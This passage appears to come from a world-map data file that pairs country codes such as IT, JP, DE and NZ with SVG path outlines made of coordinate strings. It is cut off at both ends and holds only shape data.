-6.37,-2.71 -2.28,0.01 -5.18,-1.62 -4.99,-4.14 -0.44,-2.07 0.99,-4.92 -2.61,-3.53 -2.64,0.91 -4.45,2.73 -6.87,3.62 -2.12,-1.36 -6.87,1.41 -5.16,-3.45 1.08,-3.21 -4.45,3.31 -4.83,-1.02 -1.8,-0.36 -2.28,-0.1 -2.04,-1.84 -1.24,-1.17 -1.54,-2.65 -2.51,-3.78 z m 64.34,-17.04 c 1.69,1.81 4.29,0.77 5.82,-0.97 2.76,-3.8 -3.6,-2.64 -5.41,-2.38 0.34,1.32 -0.93,1.2 0.01,2.25 1.2,0.1 -1.24,-0.03 -0.42,1.1 z",SL:"m 435.02,210.22 c 1.93,-1.56 5.36,-4.95 7.22,-0.74 1.09,1.13 -0.89,3.59 1.16,2.39 -1.16,2.19 -3.35,5.68 -6.08,2.91 1.45,-0.71 -1.26,-0.53 -1.72,-2.37 -1.36,-0.45 1.89,-1.32 -0.29,-0.89 -0.48,-0.9 1.07,-0.74 -0.28,-1.31 z",ML:"m 437.94,194.09 c 2.04,0.27 0.91,-4.28 3.33,-1.43 0.66,-0.14 2.73,-0.47 4.23,-0.55 2.58,-0.13 7.07,-0.19 10.4,-0.03 2.61,-1.65 -0.96,-6 -0.22,-8.98 -0.61,-5.94 -1.17,-11.89 -2.04,-17.8 2.18,0.22 4.68,-0.68 6.45,0.99 5,3.35 10.11,6.64 14.98,10.12 0.79,2.34 3.83,2.32 5.75,3.54 -0.87,2.43 0.94,2.51 2.85,1.83 -0.17,3.51 0.95,7.94 -1.95,10.48 -3.03,-0.07 -6.2,0.86 -9.14,1.22 -2.98,-1.16 -5.79,2.3 -8.35,2.58 -0.66,1.62 -1.51,1.07 -1.88,2.53 -3.32,-2.45 -1.5,3.09 -4.45,3.36 -1.6,0.57 0.02,4.22 -2.58,4.94 -1.29,0.07 -0.15,-2.12 -1.6,-1.03 -0.4,1.08 -1.89,1.12 -3.22,0.55 -1.36,2.1 -1.08,-2.87 -2.67,-1.59 1.46,-1.31 -0.82,-2.75 -1.47,-4.3 -0.46,1.21 -3.4,1.35 -4.37,1.04 -1.52,0.18 -2.09,0.26 -1.85,-1.7 -0.05,-2.03 -2.16,-2.23 -1.89,-4.57 -0.51,-0.29 0.13,-0.87 -0.33,-1.19 z",CD:"m 505.77,251.86 c 1.11,-0.45 1.26,-4.86 3.32,-2.51 1.04,-1.47 3.32,-2.13 3.01,-0.08 3.18,-1.06 5.29,-4.26 5.08,-7.65 2.52,-2.81 4.78,-5.42 4.56,-9.55 0.61,-2.99 2.06,-6.3 2.13,-8.9 2.02,-4.45 4.64,0.54 7.38,0.4 2.12,0.77 3.39,0.33 4.39,-1.51 2.2,1.04 4.02,-1.17 6.29,-0.61 1.13,-1.59 4.43,0.23 6.29,0.12 1.5,3.66 5.21,-0.2 6.72,2 2.14,1.43 3.1,2.6 2.3,5.16 3.85,1.6 -3.17,3.66 -2.74,6.36 0.38,3.32 -2.26,5.6 -2.13,8.35 1.51,3.41 0.61,7.8 2.24,10.97 1.86,1.39 4,5.34 0.03,4.67 -3.03,-0.07 -4.18,2.35 -3.41,4.97 -0.48,2.25 -0.88,7.37 2.73,5.97 1.08,-0.64 0.96,4.79 -0.18,2.86 -2.42,1.32 -2.68,-3.38 -5.42,-2.94 -0.95,-3.24 -2.96,0.76 -5.34,-1.31 -1.27,-0.74 -0.93,-2.21 -3.01,-0.96 -0.5,-0.98 -1.88,-1.79 -3.82,-0.94 -1.87,0.16 -3.53,0.88 -2.39,-1.55 -1.9,-2.75 -1.01,-6.14 -1.62,-9.07 -1.53,-0.06 -3.51,0.31 -3.49,-1.1 -2.15,0.08 -3.24,0.79 -3.08,3.1 -2.11,-0.79 -4.92,1.62 -5.92,-1.16 -1.4,-2.23 -1.11,-6.26 -5.05,-4.86 -2.81,-0.23 -6.65,0.7 -8.88,-0.26 z",IT:"m 507.51,129.94 c -3.05,-1.56 2.25,-1.9 3.67,-1.24 1.87,-0.1 5.68,-1.88 2.74,1.15 1.11,2.58 -1.33,3.18 -3.09,1.38 -1.28,-0.02 -2.12,-1.1 -3.32,-1.29 z m -12.37,-8.02 c -1.85,-1.43 1.82,-2.01 2.86,-1.99 1.23,0.55 1.16,4.18 0.05,5.58 -1.7,1 -3.95,0.46 -2.47,-1.54 -0.34,-0.72 -0.13,-1.18 -0.44,-2.05 z m -4.9,-13.17 c 3.1,-0.02 -1.04,-2.76 2.09,-2.35 2.48,-0.19 2.62,-2.39 4.57,0.34 -0.27,-2.86 2.83,-0.83 2.93,-1.72 0.94,-1.14 3.02,-1.32 5.54,-1.83 0.95,1.66 5.23,1.16 4.21,3.41 2.1,1.41 -2.13,-0.39 -3.2,1.12 -0.43,-0.49 -1.01,1.04 0.12,1.66 -2.29,2.57 4.77,3.24 4.6,6.55 0.65,2.38 6.19,0.94 5.12,2.54 0.55,2.04 7.22,1.64 6.66,5.04 -1.28,-1.22 -5.59,-2.89 -4.92,0.65 3.38,1.22 -0.58,2.57 -1.22,4.3 -2.73,1.61 -0.35,-1.81 0,-2.41 -0.55,-2.94 -2.96,-3.35 -4.6,-4.73 -1.02,-1.37 -5.06,-1.66 -6.86,-3.77 -3.53,-0.91 -3.86,-4.73 -7.02,-6.29 -1.56,-2.47 -6,3.28 -5.14,0.18 -3.86,0.28 -0.56,-1.71 -2.89,-2.69 z",SO:"m 585.58,229.11 c 0.69,-4.69 6.2,-7.52 10.68,-7.31 2.28,-1.77 4.01,-4.34 6.21,-6.28 1.31,-1.33 3.8,-3.01 0.32,-2.36 -3.72,-1.45 -8.97,-1.63 -11.19,-5.33 -3.05,-1.74 0.89,-6.67 2.05,-2.34 2.51,2.1 5.36,-0.94 8.17,-0.4 2.93,-1.76 6.73,-0.59 9.82,-2.27 3.25,-3.21 1.61,3.36 2.25,3.39 1.32,-0.12 -2.15,0.54 -0.97,2.35 -1.4,3.16 -3.42,5.74 -4.82,8.9 -1.89,4.51 -5.29,8.36 -9.04,11.49 -4.21,2.3 -7.59,5.75 -10.67,9.35 -0.46,0.71 -1.19,3.14 -2.01,0.66 -1.7,-2.5 -0.43,-5.99 -0.81,-8.9 l 0,-0.47 z",AF:"m 639.74,139.82 c 1.69,-1.45 1.23,-5.93 4.7,-3.54 1.43,1.33 2.67,-1.68 3.45,-1.57 3.5,0.06 3.17,-4.17 6.08,-4.32 2.12,-0.55 5.14,0.72 7.27,1.14 1.63,-1.71 3.03,0.55 3.91,-1.65 2.23,1.22 1.92,-4.15 4.62,-1.79 0.27,1.14 0.98,1.67 0.38,3.63 1.58,2.07 5.54,-3.13 6.54,-0.84 2.18,-0.77 3.22,-0.4 2.08,0.59 -2.94,0.85 -7.6,-0.11 -9.19,2.95 2.67,2.03 -1.37,3.58 -0.54,5.27 -2.16,0.74 -4.42,-0.54 -2.19,2.29 -3.26,-0.32 -1.84,4.85 -4.25,4.39 -1.55,-0.59 -3.3,0.83 -3.34,1.36 -3.63,-1.33 -2.64,3.38 -4.45,4.24 -4.18,0.55 -8.59,1.68 -12.69,0.06 -3.07,-0.31 4.68,-5.14 -1.31,-5.25 -0.69,-1.82 -0.25,-4.72 -0.62,-5.58 -0.62,-0.14 -0.37,-0.99 -0.44,-1.38 z",BD:"m 716.95,161.12 c 0.8,-0.22 1.8,1.17 2.06,0.38 1.27,1.37 2.41,0.19 2.29,3 1.76,0.89 7.81,-0.72 6.42,1.69 -1.03,1.41 -4.28,2.92 -2.37,4.04 1.32,2.74 1.74,-3.85 2.7,-0.2 -0.07,1.9 2.06,6.05 -0.4,5.62 0.02,3.91 -0.92,-4.11 -1.4,-3.01 -0.46,-2.79 -2.64,1.38 -2.92,-2.19 0.42,-2.1 -0.97,-0.41 -0.61,-0.49 0.43,1.3 -0.12,2.01 0.29,3.26 -0.2,-0.37 -1.91,2.15 -0.98,0.24 -0.49,0.49 -0.68,-0.2 -0.82,-0.86 0.03,2.56 -1.46,1.13 -0.88,0.69 -0.26,0.81 -0.26,-1.15 -0.23,0.9 -0.62,0.75 -0.11,-1.06 -0.79,0.58 -0.52,-2.38 -1.15,-4.56 -1.56,-6.27 1.17,-1.53 -3.4,-2.26 -0.76,-3.09 1.6,-0.72 2.09,-1.06 0.18,-1.93 -2.43,-0.94 1.25,-2 -0.22,-2.35 z m 6.09,10.81 c 0.03,1.88 0.88,2.41 0.6,0.18 -0.25,-0.23 -0.31,-0.96 -0.6,-0.18 z",DO:"m 272.83,184.89 c -0.53,-1.77 0.29,-3.1 0.36,-5.21 2.54,-0.49 5.56,1.5 6.64,1.93 -2.86,-0.43 5.6,2.18 1.12,2.37 -2.45,-0.36 -4.34,0.19 -6.19,0.35 -0.48,1.5 -1.01,2.47 -1.93,0.57 z",GW:"m 425.53,200.98 c 2.38,-0.33 4.57,-1.22 7.02,-1.01 2.59,-0.24 0.04,1.59 1.2,2.64 -2.43,-0.49 -3.7,3.48 -4.57,1.09 0.75,-1.43 0.86,-0.14 -0.24,-1.09 2.76,-0.42 0.44,-0.85 -1.35,0.03 2.05,-1.52 -2.31,0.28 -0.46,-1.61 -0.69,0.1 -0.93,0.55 -1.61,-0.05 z",GH:"m 463.12,218.04 c -0.22,-3.53 2.96,-6.14 1.13,-9.66 -0.36,-2.09 -1.06,-4.54 2.09,-3.68 2.18,0.85 5.88,-1.57 5.79,1.26 1.67,1.44 -0.15,3.04 1.26,3.69 0.13,2.29 0.34,4.75 0.19,7.43 1.73,0.4 1.94,2.6 0.15,2.09 -0.84,-0.97 -1.55,-0.77 0.01,-0.12 -3.22,0.88 -6.4,4.07 -9.73,2.5 -1.54,0.11 1.78,-1.18 -0.32,-1.76 0.11,-0.64 -0.23,-1.24 -0.57,-1.76 z",AT:"m 498.33,102.64 c 0.57,-1.73 2.38,0.79 3.17,-0.71 2.12,0.58 4.66,-0.95 6.64,-0.11 -1.9,-2.04 1.39,-2.14 2.12,-3.4 2.58,1.59 3.61,-1.95 6.56,0.05 3.57,-0.79 2.09,3.65 1.2,3.27 -0.3,2.95 -3.14,2.19 -5.71,3.3 -2.34,-0.32 -6.06,-0.31 -7.08,-1.78 -2.62,0.75 -4.48,0.69 -6.73,-0.02 l 0.01,-0.32 z",SE:"m 503.07,69.37 c 2.29,1.64 0.79,-3.19 3.48,-2.93 1.06,-1.32 -1.91,-2.64 0.84,-2.85 0.63,-1.42 -2.73,-1.22 -1.44,-3.27 -1.05,-2.33 -0.33,-5.19 2.99,-4.95 1.69,0.79 3.22,-1.25 0.83,-1.43 2.34,-0.66 2.48,-3.52 3.11,-4.4 1.67,-0.14 3.98,-2.03 4.49,-3.23 -1.16,-1.42 3.27,-2.43 4.88,-2.38 -0.36,-2.99 6.56,0.79 5.61,-1.45 0.75,-2.79 6.02,1.11 8.74,1.36 1.76,0.22 -0.56,2.09 1.31,2.27 -1.16,0.73 1.47,1.77 -0.24,2.84 2.9,2.24 -1.35,1.51 -1.95,1.63 -2.18,-0.67 -1.63,1.02 -3.03,0.7 0.16,0.51 -1.39,0.13 -0.93,1.34 -3.45,0.72 2.08,1.59 -1.5,2.46 -1.99,1.99 -4.11,1.55 -6.45,2.85 -1.95,0.25 0.37,0.75 -1.88,0.98 0.4,0.08 -1.63,-1.45 -0.21,0.24 -0.86,0.96 -1.99,0.69 -1.09,1.46 -0.52,2.59 -1.41,0.78 -1.07,2.37 -0.25,3.19 3.46,1.91 4.93,4.05 0.88,1.07 -4.17,1.6 -0.98,1.79 -0.31,-0.45 -1.15,1.75 -2.7,0.64 0.72,1.18 -3.27,1.21 -3.17,1.26 2.66,0.54 -1.56,0.14 0.83,1.06 -0.62,1.31 -0.04,1.66 -1.19,4.34 -0.86,3.05 -6.6,0.05 -5.62,3.58 -2,-0.05 -4.22,0.96 -4.17,-1.25 -1.78,-1.45 1.78,-1.69 -1.27,-3.17 -1.84,-1.15 -1.31,-2.93 -1.87,-3.66 -0.87,-0.06 0.36,-0.36 -0.86,-0.2 -0.39,0.39 -0.79,-1.77 -0.43,-2.02 z m 19.78,5.86 c 1.67,-0.89 2.56,-3.93 -0.46,-1.71 -0.09,0.69 -0.24,2.77 0.46,1.71 z m -5.45,1.61 c 0.61,1.22 3.14,-5 0.72,-1.2 -0.33,0.31 -0.83,0.66 -0.72,1.2 z",TR:"m 544.2,124.61 c -0.19,-3.46 5.6,-2.64 5.36,-2.55 1.31,-0.09 3.86,0.31 2.53,-0.61 2.88,-0.79 2.42,0.17 0.35,-1.24 2.89,-0.92 6.58,0.52 9.35,-1.99 3.33,-0.86 6.8,-1.32 9.09,0.22 1.54,0.31 3.87,1.67 6.25,1.93 3.71,0.27 7.46,-0.25 10.79,-1.28 2,-0.43 3.08,-0.35 4.43,0.78 1.22,1.57 -0.08,3.67 2.78,3.29 2.74,1.29 -2.71,1.04 -0.37,3.34 -0.08,2.03 0.48,2.83 1.38,4.65 -1.79,0.36 -4.56,-1.14 -6.84,-0.22 -3.3,-0.31 -6.8,1.88 -10.22,1.34 -1.74,-0.49 -4.1,0.38 -5.62,0.15 0.58,1.1 -1.19,2.8 -1.8,1.96 -1.11,-0.92 2,-3.14 -0.57,-2.19 -0.84,1.09 -4.26,-0.84 -5.19,1.34 -2.98,3.2 -7.33,-4.03 -9.27,-0.46 -1.59,2.06 -4.09,-0.49 -5.63,-0.92 -1.1,0.37 -1.36,0.57 -1.51,0.13 -4.23,0.77 3.27,-0.76 -0.58,-0.85 -2.1,0.18 -1.05,0.28 -0.63,-0.64 -1.89,-0.4 -0.01,-2.04 -2.33,-2.61 -1.69,0.79 -0.65,-2.62 0,-0.43 2.24,0.08 -0.69,-0.86 0.78,-1.55 -1.97,-1.18 1.52,-2.33 -2.52,-1.57 z m -0.08,-3.56 c 2.53,-1.48 -0.23,-4.36 3.83,-3.6 1.87,-0.15 2.85,1.97 4.5,2.55 -2.73,0.01 -5.63,0.78 -7.84,2.96 0.29,-1.45 3.13,-1.91 -0.16,-1.53 l -0.21,-0.12 z",UG:"m 553.91,238.9 c -0.39,-4.17 2.3,-6.77 4.75,-9.42 -2.41,0.04 -1.63,-5.56 0.75,-4.17 1.7,0.21 3.32,-0.39 5.57,-0.42 2.14,-2.38 2.72,2.71 4,4.52 0.43,3.24 -4,4.5 -2.99,8.06 -1.04,2.18 -5.96,0.5 -8.56,0.92 -1.39,0 -2.88,2.34 -3.52,0.5 z",MZ:"m 555.68,277.82 c 3.38,-0.51 7.85,-4.21 10.07,-1.42 4.51,-0.87 -0.98,5.86 3.59,6.74 0.61,2.22 -0.65,-2.7 1.56,-2.32 2.53,-3.74 -2.44,-6.16 -3.24,-8.98 -1.9,-4.36 3.49,-4.31 5.89,-3.25 1.32,-0.53 2.84,0.44 3.87,-1.29 2.26,1.88 7.76,-4.55 6.8,-0.28 -0.52,2 0.53,4.58 0.1,6.64 0.2,2.16 0.97,3.01 0.4,4.25 -0.43,1.98 -3.01,5.04 -5.57,5.78 -3.19,1.08 -5.18,2.18 -6.33,4.8 -1,-0.6 -4.36,4.09 -4.82,2.41 0.15,2.61 1.46,4.11 1.84,6.62 -0.17,2.65 1.06,-1 0.49,1.71 0.65,1.67 -1.08,3.66 0.13,3.82 -0.58,3.45 -10.01,3.24 -7.47,6.38 2.13,1.12 -2.26,3.35 -1.99,0.39 -0.65,-3.17 -0.44,-6.79 -1.88,-10.02 -0.89,-2.83 3.92,-3.48 3.06,-6.29 2.7,-1.94 -0.57,-4.19 1.33,-6.02 -0.33,-2.62 0.82,-5.75 -2.86,-5.66 -2.16,-2 -5.13,0.08 -4.95,-4.02 z",JP:"m 856.18,127.94 c -1.84,1.01 0.27,2.23 0,0 z m 8.64,-20.15 c 0.38,2.34 0.31,7.64 -3.24,5.92 0.46,1.55 -3.12,2.39 -0.87,4.1 -1.78,2.55 5.43,-0.24 1.23,-0.76 -1.88,-2.01 2.04,0.05 3.04,-1.31 1.98,0.42 4.65,3.42 5.48,-0.05 1.5,-1.31 5.08,-0.78 5.48,-2 -1.46,0.31 -1.51,-1.51 -0.94,-2.78 -2.12,2.33 -5.03,0.1 -7.2,-1.25 -0.96,-0.69 -1.68,-2.33 -2.98,-1.87 z m -25.3,33.26 c -1.96,1.25 -0.79,0.12 0.08,1.06 -0.66,1.4 2.1,2.1 2.13,-0.17 1.59,-0.98 2.83,0.63 3.83,-1.61 -0.73,-3.04 -3.47,0.43 -4.98,-0.63 -0.33,0.44 -0.48,1.13 -1.04,1.36 z m -4.43,-0.85 c 1.96,-0.48 3.46,0.68 4.31,-1.17 2.06,0.38 3.71,-0.69 5.65,-1.14 1.06,0.33 3.92,-0.05 1.52,1.29 -0.04,2.5 3,2.91 3.71,0.24 2.76,0.37 -1.03,-2 1.2,-2.22 -0.8,1.25 2.05,-0.16 0.73,1.18 2.25,-0.07 3.07,-0.2 4.69,-1.45 -0.84,1.6 1.08,1.49 1,-0.46 1.69,1 1.25,-1.62 2.53,-0.79 -2.34,2.74 0.98,1.33 1.51,-0.29 0.85,-0.39 -0.74,-3.11 1.07,-3.95 0.41,-1.16 -0.91,-4.42 1.52,-3.5 0.7,-2.16 2.14,-4.91 -0.38,-6.96 1.19,-1.59 -1.49,-2.88 -1.55,-1.2 2.79,-0.41 -0.65,2.12 -0.91,-0.01 -0.96,0.48 -1.8,1.83 -1.8,3.26 -1.26,0.07 2,1.61 -0.15,3.1 -1.01,2.68 -5.58,6.7 -7.62,5.5 -0.92,-0.68 2.17,-2.09 -0.47,-1.18 -0.41,1.88 -2.34,3.69 -2.79,5 -2.16,1.03 -1.9,-1.28 -4.8,0.22 -3.81,-0.99 -5.72,2.44 -9.06,3.44 l -0.04,0.57 z m -3.05,1.69 c -1.65,0.19 1.8,1.81 -0.39,1.11 1.03,1.15 2.45,0.91 1.24,-0.52 3.49,0.55 -2.05,4.9 1.23,5.48 -0.19,-1.7 1.19,-1.77 0.25,0.42 2.1,-0.6 3.06,-4.2 3.57,-5.74 -1.92,-0.54 0.47,-2.18 -2.22,-1.51 -0.75,-2.25 -2.9,0.43 -3.68,0.77 z m -5.99,20.39 c 1.34,-1.15 2.28,-2.78 0.65,-1.35 -0.25,0.41 -0.91,0.79 -0.65,1.35 z",NZ:"m 980.38,359.42 c 1.59,0.63 -0.23,-0.77 1.18,-0.76 -2.77,0.04 -0.77,-0.16 -1.18,0.76 z m -23.67,-7.74 c 2.14,2.42 4.24,-1.63 5.73,-3.43 -0.09,-1.29 0.81,-3.97 2.77,-2.23 0.11,-1.33 3.61,-5.66 -0.04,-4.42 -2.7,2.86 -6.03,-1.77 -6.17,-2.62 -1.34,-2.4 0.57,3.23 -1.32,0.45 -1.54,0.37 -1.17,-2.95 -2.07,-3.17 1.31,0.47 -1.09,-2.61 -0.89,-1.21 -0.64,-1.78 -3.1,-0.5 -3.03,-2.47 -1.58,-0.97 0.72,3.28 1.2,2.63 -0.84,-0.87 2.64,4.36 1.51,2 1.37,-0.12 1.56,1.23 0.71,1.18 0.74,1.83 2.19,0.91 1.26,2.12 0.85,1.57 0.3,5.01 -2.42,5.22 0.8,1.83 6.18,3.35 2.38,6.16 h 0.35 z m -23.16,13.34 c 1.43,-0.64 -0.04,1.31 2.71,0.51 2.11,0.86 4.97,2.3 7.18,0.16 2.23,-1.12 1.62,-1.84 3.08,-4.28 1.22,-2.98 4.59,-2.2 5.41,-2.8 -2.75,-1.32 2.77,-3.59 3.2,-5.59 -1.26,-1.38 1.75,-1.87 -0.72,-1.42 1.64,-1.35 -1.32,0.96 -0.13,-0.9 -1.84,1.5 -2.02,0.63 -3.02,-0.32 -1.28,-0.72 1.64,-1.16 -0.99,-0.6 -1.6,2.24 -2.96,4.34 -4.78,6.58 -3.04,1.83 -7.46,3.44 -9.11,5.24 -1.94,0.98 -0.67,1.81 -2.02,1.88 -1.19,0.79 2.01,-0.37 -0.12,0.44 1.48,0.34 -1.01,0.13 -0.68,1.1 z m 4.23,2.52 c 0.39,-1.85 -2.66,1.98 0.05,0.67 1.38,0.02 -0.1,-0.55 -0.05,-0.67 z",
CU:"m 241.98,175.35 c -2.12,-0.41 1.52,-2.41 0.61,-0.14 z m -5.53,-1.26 c 2.2,-0.06 1.37,-3.05 4.41,-3.05 3.72,-0.8 5.87,-0.72 9.13,0.22 1.3,1.13 4.9,1.77 6.58,3.1 1.31,0.86 -0.15,-0.99 1.4,0.57 -0.58,0.42 2.65,0.95 4.2,1.75 -1.67,0.65 7.22,1.75 2.29,2.73 -2.01,0.36 -5.38,-0.1 -8.08,0.44 1.59,-1.04 2.34,-2.98 -0.59,-2.44 -1.98,-0.84 -1.67,-3.44 -4.25,-2.54 -2.82,-1.76 -5.11,-1.09 -7.22,-2.28 3.23,-0.68 -3.4,-1.54 -3.71,0.57 -1.75,0.07 -2.86,1.63 -4.15,0.93 z",VE:"m 268.42,209.82 c 0.97,-2.58 3.12,-7.68 5.32,-7.2 -3.36,0.3 1.55,3.51 -1.64,5.08 -0.12,3.73 4.58,2.02 1.93,-0.83 -2.24,-2.86 4.14,-3.18 4.38,-3.78 -2.75,0.43 -0.26,-3.72 0.01,-0.24 1.91,0.5 4.17,1.08 4.61,3.31 3.18,-1.09 6.18,0.35 8.7,1.24 2.75,-1.2 3.12,-1.35 2.53,-1.66 1.61,-0.19 8.79,-0.45 3.86,0.26 -2.39,-0.24 1.52,1.3 -0.96,1.24 1.21,-0.35 1.63,0.38 2.13,0.76 -0.13,0.15 0.68,0.47 0.21,-0.33 0.87,0.79 2.07,-0.05 3.73,1.72 -0.17,0.75 -2.12,2.37 -1.78,2.29 0.79,0.3 6.07,-1.08 3.6,1.46 -3.33,1.26 1.48,3.28 -2.31,3.6 -1.81,1.84 0.24,3.32 0.99,5.23 -1.62,1.67 -4.02,1.65 -5.92,2.58 0.24,2.11 -2.51,-0.76 -3.65,-0.22 -3.92,-1.92 0.79,2.1 0.24,4.27 3.91,0.06 -0.98,2.09 -1.1,2.94 -1.76,0.26 -2.96,3.24 -3.63,1.35 -3.83,2.2 -3.61,-4.88 -5.84,-5.46 2.84,-1.65 -2,-5.15 0.54,-7.64 1.68,-4.03 -5.54,0.73 -6.18,-2.84 -1.67,-2.55 -5.64,0.37 -7.24,-2.33 0.7,-1.68 -0.57,-5.67 -2.53,-4.79 z",PT:"m 445.98,125.1 c 1.66,-1.86 2.37,-5.18 1.31,-6.81 0.24,-1.34 2.63,-1.51 2.05,-0.28 2.16,-1.06 7.75,0.04 3.38,2.22 0.21,1.55 0.62,4.19 -1.74,3.81 2.54,1.22 -0.16,3.54 1.44,4.41 -1.67,1.35 -1.15,4.11 -4.28,2.74 -2.59,1.02 1.31,-5.72 -1.84,-3.62 0.53,-1.15 1.43,-1.51 -0.56,-0.75 -0.57,-0.46 0.26,-1.17 0.24,-1.72 z",CO:"m 252.95,231.17 c -0.47,-0.82 1.85,-0.35 0.81,-1.95 2.5,-0.46 3.03,-2.26 4.08,-4.06 -0.63,-0.77 -0.28,-1.72 -0.65,-4.65 1.16,-2.12 -1.46,-4.1 -0.91,-6.37 2.5,1.42 -0.06,-4.87 1.91,-1.82 1.43,2.74 -0.39,-2.04 2.18,-2 2.56,-1.09 1.18,-3.33 2.83,-4.85 0.82,-1.6 2.69,-1.01 2.08,-0.06 1.3,-2.42 5.88,-1.87 7,-4.17 0.13,-0.9 4.12,0.24 1.1,1.26 -2.95,0.87 -4.41,5.94 -4.39,7.25 2.84,-0.06 0.85,5.72 3.84,6.14 3.15,-0.97 5.11,0.97 7.27,2.49 2.47,-0.41 6.43,-0.86 3.69,2.39 -0.77,2.77 2.44,5.6 0.14,6.98 2.41,-0.07 2.68,7.45 1.64,2.71 -0.67,-1.62 -2.32,0.65 -2.92,-0.01 -1.16,1.25 -5.74,-1.2 -4.46,2.22 2.38,-0.47 2.33,1.82 0.01,1.18 -1.81,2.49 3.12,5.09 0.67,8.27 -0.55,2.31 0.13,6.66 -2.61,4.32 -1.04,-0.94 3.03,-3.69 -0.15,-3.93 -2,-1.89 -6.61,2.13 -7.17,-1.54 -1.85,-1.51 -3.21,-3.79 -5.46,-5.19 -2,-0.1 -3.19,-1.6 -5.33,-1.01 -1.52,-1.26 -3.67,-1.92 -5.19,-3.56 z",MR:"m 424.61,177.22 c -0.18,-2.88 3.65,-1.21 5.47,-1.61 1.9,-0.07 3.87,0.15 5.71,-0.11 -0.74,-2.93 -0.09,-5.47 2.88,-6.22 0.32,-2.63 -1.73,-8.14 2.76,-6.78 2.11,-0.06 4.26,0.13 6.34,-0.11 0.26,-2.03 -0.54,-4.73 2.1,-2.35 2.48,1.6 7.23,3.93 8.25,5.27 -1.49,0 -2.98,0 -4.47,0 1.24,7.82 1.65,15.77 2.77,23.59 2.5,5.12 -5.53,2.42 -8.24,3.23 -2.38,-0.56 -5.24,0.51 -6.98,0.52 -2.36,-3.17 -1.71,3.69 -3.97,0.76 -2.4,-2.45 -4.97,-5.97 -9.03,-4.15 -1.92,-0.86 -2.62,2.9 -1.79,-0.59 2.27,-2.58 -0.3,-7.76 0.03,-8.08 1.44,-2.05 -1.06,-4.04 -1.7,-3.88 z",AO:"m 505.24,249.73 c 1.06,-2.15 4.38,-1.73 1.43,-0.01 -0.06,3.73 -1.21,1.68 -1.43,0.01 z m -0.75,34.43 c -0.43,-3.48 1.32,-6.18 1.89,-9.52 0.53,-3.17 4.76,-4.24 3.86,-7.99 -0.67,-2.52 -3.67,-6 -1.22,-6.6 0.42,-2.56 -3.79,-5.84 -2.23,-7.43 3.48,-0.43 8.63,-1.53 11.43,0.41 0.16,3.55 2.62,6.51 6.32,5.06 2.05,-0.06 0.7,-3.78 3.81,-3.01 0.94,0.03 0.46,1.77 2.4,1.03 3.94,-0.19 -0.04,5.91 2.74,7.85 0.65,1.46 -1.06,4.29 1.57,2.75 3.2,-0.66 3.98,-0.14 3.38,3.14 1.5,5.03 -7.79,-0.5 -5.61,5.38 -0.48,3.98 0.1,8.09 4.15,10 -3.67,0.81 -7.28,1.24 -10.98,0.58 -3.36,-1.38 -6.89,-1.35 -10.78,-1.21 -4.13,0.37 -6.81,-1.83 -10.75,-0.44 z",DE:"m 510.16,83.58 c 0.63,-0.95 1.7,1.39 0.28,0.42 -0.06,-0.51 1.11,-0.31 -0.28,-0.42 z m -1.91,-0.81 c 0.29,-1.17 1.74,-0.71 1.27,0.04 -0.42,0 -0.91,0.39 -1.27,-0.04 z m -13.09,-1.84 c -0.92,1.13 0.26,0.4 0,0 z m 0.4,0.28 c -0.93,0.06 0.94,0.06 0,0 z m 1.14,0 c -0.85,-0.17 0.1,1.88 -0.49,1.71 -0.35,0.34 2.73,2.01 2.47,1.98 -1.79,-2.3 -3.58,0.65 -3.51,0.01 -0.07,0.76 -4.12,-1.38 -3.41,0.7 1.74,0.46 -2.97,2.47 -0.29,2.83 -0.71,2.07 -4.39,0.32 -2.35,2.67 -1.72,1.83 1.3,2.48 0.02,4.05 0.58,1.79 2.43,2.59 4.8,2.63 1.09,-0.33 -3.22,5.13 0.68,4.01 1.11,-1.14 4.44,0.48 6.08,0.54 1.81,-0.1 5.13,-1.41 7.28,-0.3 -1.19,-1.95 0.91,-2.39 2.28,-3.45 -1.92,-1.32 -6.51,-4.24 -3.32,-4.71 2.63,-0.73 4.66,-1.76 6.27,-1.77 -0.5,-1.5 -0.12,-3.85 -1.78,-4.92 1.1,-1.9 -1.09,-3.73 -2.81,-4.21 -0.88,-0.97 -3.87,0.28 -1.14,-0.43 -2.35,0.63 -3.33,1.16 -5.29,1.44 -0.74,-0.78 1.55,-1.66 -0.99,-1.3 -2.62,0.04 -0.5,-1.54 -4.5,-1.47 z",SD:"m 570.73,170.57 c -2.63,0.94 -4.06,5.29 -7.24,3.16 -3.38,0.23 -4.32,-0.56 -7.36,0.02 -4.97,0 -9.94,0 -14.9,0 -0.25,2.4 1.29,6.69 -2.45,5.63 -1.09,3.03 0.86,9.72 -1.01,11.93 -3.25,-0.03 -3.01,4.18 -4.46,5.78 1.11,1.37 -2.43,3.26 0.78,2.88 -0.09,2.13 1.2,3.44 1.72,5.6 3.53,1.87 -0.67,6.52 3.46,5.66 1.28,-1.28 0.81,-3.4 2.08,-4.86 2.28,-3.07 2.9,3.17 5.53,1.67 2.07,-0.75 4.03,2.41 5.57,-0.39 1.7,-0.24 2.31,-3.24 4.22,-0.43 2.37,0.91 4.6,-3.2 4.67,-5.07 -0.08,-1.6 -1.33,-1.84 0.95,-1.89 0.3,-1.87 2.28,-0.18 1.05,1.27 -0.14,2.63 2.85,4.67 2.53,6.51 1.7,-0.03 1.07,-3.87 2.87,-2.76 -0.47,-3.3 3.08,-4.68 3.64,-6.92 1.05,-3.04 0.78,-6.4 1.91,-9.4 0.5,-2.13 7.1,-3.34 2.97,-5.26 -3.39,-1.34 -1.59,-6.55 -2.49,-8.22 -0.46,-2.5 -2.62,-3.15 -4.02,-4.91 z m -31.67,40.88 c -0.81,0.98 0.37,0.36 0,0 z",TH:"m 741.93,183.35 c 2.23,0.61 0.18,-4.66 3.68,-3.29 1.64,-0.78 3.08,-2.49 4.83,-1.43 -0.46,2.03 0.96,2 2.18,2.36 0.78,1.75 -2.19,7.33 1.32,4.33 0.93,-1.95 3.82,1.42 4.39,-1.39 3.6,-0.35 4.08,3.63 4.74,5.91 2.02,0.95 2.14,4 0.43,5.64 -2.29,-0.61 -6.2,-1.05 -7.24,1.99 -1.45,0.48 2.75,7.69 0.09,3.84 -0.68,0.12 -2.15,-2.05 -4.64,-1.33 1.64,-3.49 -3.45,-2.96 -2.56,0.21 0.04,3.19 -3.25,5.95 -2.05,9.21 2.48,-0.33 3.27,4.51 3.3,5.61 -1.87,-3.06 0.99,2.69 3.08,1.41 2.88,1.99 0.28,3.65 -1.46,2.95 1.04,-1.79 -2.61,-2.53 -2.74,-2.3 -1.12,-1.85 -1.8,-2.07 